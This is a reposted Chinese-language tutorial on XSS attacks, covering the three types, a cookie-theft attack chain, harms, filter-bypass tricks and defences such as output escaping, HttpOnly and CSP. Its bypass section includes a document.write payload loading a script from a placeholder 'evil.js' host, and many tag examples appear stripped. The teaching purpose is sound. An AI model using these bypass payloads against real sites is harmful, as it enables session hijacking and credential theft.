XSS攻击核心核心技术

B站影视 内地电影 2025-09-25 02:50 1

摘要:XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者将恶意JavaScript脚本注入到网页中,并由用户浏览器执行的攻击手段,核心是利用“浏览器信任网页内容”的特性,本质是“前端代码注入”,而非传统的服务器端漏洞。

XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者将恶意JavaScript脚本注入到网页中,并由用户浏览器执行的攻击手段,核心是利用“浏览器信任网页内容”的特性,本质是“前端代码注入”,而非传统的服务器端漏洞。

一、XSS的三大核心类型(附对比)

XSS的核心差异在于“恶意脚本是否经过服务器”及“是否持久化”,按传播路径可分为三类,实际攻击中需针对性检测:

类型 传播路径 存储位置 触发条件 典型场景 危害等级

存储型XSS(持久化) 攻击者注入 → 服务器存储 → 所有用户访问页面时加载执行 服务器数据库/文件 所有访问该页面的用户自动触发(一次性注入,多次触发) 评论区、留言板、用户资料、商品描述 ⭐⭐⭐⭐⭐(影响范围广、持久化)

反射型XSS(非持久化) 攻击者构造含脚本的URL → 用户点击URL → 服务器将脚本“反射”回页面 → 浏览器执行 仅存在于URL参数/请求参数中 仅点击恶意URL的用户触发(一次性,需诱导点击) 搜索框、URL参数展示页(如“您搜索的关键词是:XXX”) ⭐⭐⭐(影响范围窄、需诱导)

DOM型XSS(前端触发) 攻击者构造含脚本的URL参数 → 用户浏览器解析URL → 前端JS直接用参数操作DOM → 脚本执行 浏览器URL/本地存储(不经过服务器) 点击恶意URL后,前端JS主动执行(服务器无感知) 用 location.hash / document.URL 动态渲染页面(如单页应用URL参数渲染内容) ⭐⭐⭐⭐(服务器无法拦截,隐蔽性强)

二、XSS的攻击原理(以“存储型XSS”为例拆解)

以“论坛评论区”场景为例,完整攻击链路可分为4步:

1. 注入:攻击者在评论区提交内容 alert(document.Cookie) ;

2. 存储:服务器未过滤该内容,直接将带脚本的评论存入数据库;

3. 渲染:其他用户打开该论坛页面时,服务器从数据库读取评论,拼接成HTML返回给用户浏览器(此时脚本已包含在页面源码中);

4. 执行:用户浏览器解析HTML时,认为该 是合法页面代码,直接执行,导致攻击者获取该用户的Cookie(进而可能冒充用户登录)。

三、XSS的核心危害(远超“弹窗恶作剧”)

1. 前端控制权劫持:

- 篡改页面内容(如伪造“登录失效”提示,诱导用户重新输入账号密码);

- 伪造DOM元素(如在页面底部隐藏钓鱼登录框,窃取用户输入)。

2. 敏感数据窃取:

- 读取Cookie(若未设 HttpOnly ,可直接获取 document.cookie ,冒充用户身份);

- 读取 localStorage / sessionStorage 中的用户信息;

- 注入键盘记录脚本(监听 keydown 事件,记录用户输入的密码、手机号)。

3. 横向攻击(“借刀杀人”):

- 利用用户权限操作页面(如已登录的管理员触发XSS,脚本可自动发布恶意评论、删除内容);

- 发起CSRF攻击(通过XSS获取页面中的CSRF令牌,再构造恶意请求,执行转账、改密码等操作)。

4. 持久化控制:

- 注入“websocket反向连接脚本”,让用户浏览器主动连接攻击者服务器,实现长期控制(如实时监控页面操作)。

四、XSS的典型绕过技巧(攻击方常用手段)

为躲避应用的输入过滤,攻击者会通过“变形脚本”绕过检测,核心思路是“让浏览器识别为脚本,同时让过滤规则无法识别”:

- 标签变形:不用 ,改用其他可执行脚本的标签,如 (图片加载失败时执行 onerror 事件)、 点击 ;

- 字符编码:将脚本关键词编码(如URL编码、Unicode编码),如 alert(1) 编码为 alert(1) ,服务器过滤不识别,但浏览器会自动解码执行;

- 事件触发:利用HTML元素的事件属性(如 onload 、 onclick 、 onmouseover ),绕开对 标签的过滤;

- 框架嵌套:通过 加载外部恶意页面,或用 document.write 动态生成脚本(如 document.write('\x3Cscript src=http://xxx.com/evil.js\x3E\x3C/script\x3E') )。

五、XSS的防护方案(从“前端+后端+浏览器”三层防护)

防护核心是“让恶意脚本无法注入,或注入后无法执行”,需多维度配合:

1. 后端:输入过滤与输出编码(根源防护)

- 对用户输入的特殊字符(如 、 ' 、 " 、 & )进行转义(如将

- 使用安全的模板引擎(如React/Vue会自动转义HTML,Java的Thymeleaf、Python的Jinja2),禁止直接用 innerHTML / document.write 拼接用户输入。

2. 前端:DOM操作安全(针对DOM型XSS)

- 禁止用 innerHTML 、 outerHTML 处理不可信输入,改用 textContent (仅渲染文本,不解析HTML);

- 若需动态渲染URL参数,先对参数进行编码(如 encodeURIComponent ),避免直接用 location.hash 拼接DOM。

3. 浏览器:安全属性与策略(兜底防护)

- 给Cookie设置 HttpOnly 属性(禁止JS读取Cookie,从根源阻止Cookie窃取)和 Secure 属性(仅HTTPS传输);

- 配置CSP(内容安全策略):通过HTTP响应头 Content-Security-Policy 限制脚本来源(如 script-src 'self' ,仅允许加载本站脚本),直接阻止外部恶意脚本执行(目前最有效的兜底方案)。

我可以帮你整理一份XSS漏洞测试用例清单,包含存储型、反射型、DOM型的具体测试代码(如事件触发、编码绕过等场景),方便你在测试中直接使用。

来源:小项科技view

相关推荐